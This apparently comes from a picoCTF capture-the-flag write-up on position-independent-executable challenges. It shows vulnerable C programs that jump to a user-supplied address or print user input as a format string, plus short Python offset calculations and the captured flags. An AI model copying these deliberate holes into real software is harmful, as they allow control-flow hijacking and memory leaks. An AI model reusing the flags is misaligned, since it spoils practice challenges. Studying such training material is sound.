1
int win() {
2
  FILE *fptr;
3
  char c;
4

5
  printf("You won!\n");
6
  // Open file
7
  fptr = fopen("flag.txt", "r");
8
  if (fptr == NULL)
9
  {
10
      printf("Cannot open file.\n");
11
      exit(0);
12
  }
13

14
  // Read contents from file
15
  c = fgetc(fptr);
16
  while (c != EOF)
17
  {
18
      printf ("%c", c);
19
      c = fgetc(fptr);
20
  }
21

22
  printf("\n");
23
  fclose(fptr);
24
}
25

26
int main() {
27
  signal(SIGSEGV, segfault_handler);
28
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
29

30
  printf("Address of main: %p\n", &main);
31

32
  unsigned long val;
33
  printf("Enter the address to jump to, ex => 0x12345: ");
34
  scanf("%lx", &val);
35
  printf("Your input: %lx\n", val);
36

37
  void (*foo)(void) = (void (*)())val;
38
  foo();
39
}

1
main = 0x5c84c7ebc33d
2
offset_main = 0x133d
3
offset_win = 0x12a7
4

5
base = main - offset_main
6
win = base + offset_win
7
print(hex(win)) # 0x5c84c7ebc2a7

1
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_3d38fb4b}

1
void call_functions() {
2
  char buffer[64];
3
  printf("Enter your name:");
4
  fgets(buffer, 64, stdin);
5
  printf(buffer);
6

7
  unsigned long val;
8
  printf(" enter the address to jump to, ex => 0x12345: ");
9
  scanf("%lx", &val);
10

11
  void (*foo)(void) = (void (*)())val;
12
  foo();
13
}
14

15
int win() {
16
  FILE *fptr;
17
  char c;
18

19
  printf("You won!\n");
20
  // Open file
21
  fptr = fopen("flag.txt", "r");
22
  if (fptr == NULL)
23
  {
24
      printf("Cannot open file.\n");
25
      exit(0);
26
  }
27

28
  // Read contents from file
29
  c = fgetc(fptr);
30
  while (c != EOF)
31
  {
32
      printf ("%c", c);
33
      c = fgetc(fptr);
34
  }
35

36
  printf("\n");
37
  fclose(fptr);
38
}
39

40
int main() {
41
  signal(SIGSEGV, segfault_handler);
42
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
43

44
  call_functions();
45
  return 0;
46
}

1
MAIN_OFFSET = 0x1400
2
WIN_OFFSET = 0x136a
3

4
offset = MAIN_OFFSET - WIN_OFFSET
5

6
print(hex(offset))
7

8
leak = 0x6163f4169400
9

10
print(hex(leak - offset))

1
picoCTF{p13_5h0u1dn'7_134k_1ef23143}